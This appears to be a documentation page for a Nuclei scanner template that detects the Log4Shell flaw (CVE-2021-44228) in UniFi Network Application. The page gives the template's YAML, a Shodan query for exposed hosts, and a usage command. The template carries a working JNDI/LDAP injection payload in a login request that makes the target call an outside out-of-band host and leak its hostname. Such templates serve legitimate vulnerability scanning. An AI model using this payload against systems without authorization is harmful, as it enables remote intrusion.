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UniFi Network Application - Remote Code Execution (Apache Log4j)

ID: unifi-network-log4j-rce

Severity: critical

Author: KrE80r

Tags: cve,cve2021,rce,log4j,ubnt,unifi,oast,jndi,kev

Description

Section titled “Description”

UniFi Network Application is susceptible to a critical vulnerability in Apache Log4j (CVE-2021-44228) that may allow for remote code execution in an impacted implementation.

YAML Source

Section titled “YAML Source”
id: unifi-network-log4j-rce


info:
  name: UniFi Network Application - Remote Code Execution (Apache Log4j)
  author: KrE80r
  severity: critical
  description: |
    UniFi Network Application is susceptible to a critical vulnerability in Apache Log4j (CVE-2021-44228) that may allow for remote code execution in an impacted implementation.
  reference:
    - https://community.ui.com/releases/UniFi-Network-Application-6-5-55/48c64137-4a4a-41f7-b7e4-3bee505ae16e
    - https://twitter.com/sprocket_ed/status/1473301038832701441
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:ui:unifi_network_application:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"UniFi Network"
    product: unifi_network_application
    vendor: ui
  tags: cve,cve2021,rce,log4j,ubnt,unifi,oast,jndi,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'


http:
  - raw:
      - |
        POST /api/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8
        Origin: {{RootURL}}
        Referer: {{RootURL}}/manage/account/login?redirect=%2Fmanage


        {"username":"user","password":"pass","remember":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.postdata.{{interactsh-url}}}","strict":true}


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"


      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


    extractors:
      - type: kval
        kval:
          - interactsh_ip


      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a004730450220022d0b482c6a2b416341d040abf0671b9a62d3b973bc64d8e3daa03655834450022100b9ca27f7d4f8dd59c08705b9f24acad2ce0af61b76ef92628514445bfb8f0341:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/unifi-network-log4j-rce.yaml"

View on Github